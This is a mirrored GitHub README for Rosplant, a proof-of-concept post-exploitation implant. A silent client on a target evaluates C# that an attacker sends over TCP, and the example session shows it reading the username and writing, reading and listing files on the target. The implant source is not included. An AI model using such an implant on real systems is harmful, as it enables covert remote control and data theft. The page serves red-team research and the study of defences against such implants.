Giter Club home page Giter Club logo

rosplant's Introduction

Rosplant

Proof of concept to leverage Roslyn for post-exploitation (Roslyn + Implant = Rosplant). It comes in two parts, the server and client.

Raw C# is entered into the server's console by the attacker, which is sent to the client (via TCP for the PoC). The client uses Roslyn to evaluate the code and sends the results back to the attacker.

Aspects to note:

  • Using statements must be included or the full namespaces used.
  • Use Shift+Enter for soft newlines.
  • Compilation errors are also returned.

Example Usage

Run the server first.

PS C:\Rosplant\RoslynServer> dotnet run
Waiting for client...

Run the client app on a target, it produces no output.

PS C:\> .\RoslynApp.exe

The server will note the connection.

PS C:\Rosplant\RoslynServer> dotnet run
Waiting for client... connected!
>

Write code.

> 1 + 1
2

> var x = 1;
  x++;
  x++;
  x
3

> System.Environment.UserName
Daniel

> using System;
  Environment.UserName
Daniel

> System.DateTime.UtcNow
16/09/2021 12:55:13

> System.Environment.DoesNotExist
(1,20): error CS0117: 'Environment' does not contain a definition for 'DoesNotExist'

The app returns the string "Done" if the C# evaluation does not produce a result. This is mainly because my basic code for reading/writing to the network stream sucks.

> System.IO.File.WriteAllText("C:\\Temp\\test.txt", "This is a test");
Done

> var text = System.IO.File.ReadAllText("C:\\Temp\\test.txt");
  text
This is a test

More complicated code can also be used.

> using System.IO;
  using System.Text;

  var files = Directory.GetFiles("C:\\");
  var sb = new StringBuilder();
  foreach (var file in files)
  {
      var info = new FileInfo(file);
      sb.AppendLine(info.FullName);
  }
  var result = sb.ToString();
  result
C:\DumpStack.log
C:\DumpStack.log.tmp
C:\hiberfil.sys
C:\pagefile.sys
C:\swapfile.sys

I find all this interesting since it uses CSharpScript.RunAsync() to evalate the code. There is no Emit or Assembly.Load.

A lot of improvements could be made such as adding common namespaces by default and loading external references or nuget packages.

rosplant's People

Contributors

rasta-mouse avatar

Stargazers

 avatar Garrett van Wageningen avatar C# avatar Carlo Alberto avatar Tobias Mccurry avatar 3ND avatar d0gkiller87 avatar juushya avatar changheluori007 avatar Matthew Linney avatar Erik avatar  avatar  avatar Curtis Houghton avatar  avatar B0y1n4o4 avatar  avatar D@rkR4y. avatar Mayur Parmar avatar well.james avatar  avatar MetaSky avatar  avatar Chopicalqui avatar Xenov avatar  avatar Rahmat Nurfauzi avatar  avatar ashr avatar Mariusz Banach avatar Pierre avatar James Ward-Smith avatar Mike avatar jjan X avatar  avatar 2XXE avatar โ € avatar darko avatar  avatar Victor Pereira avatar netbiosX avatar Life avatar Mercer avatar  avatar  avatar Alejandro Ferrandiz avatar Ryan Baxendale avatar Ryan Stephenson avatar deax avatar bopin avatar

Watchers

 avatar  avatar

Forkers

gavz

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.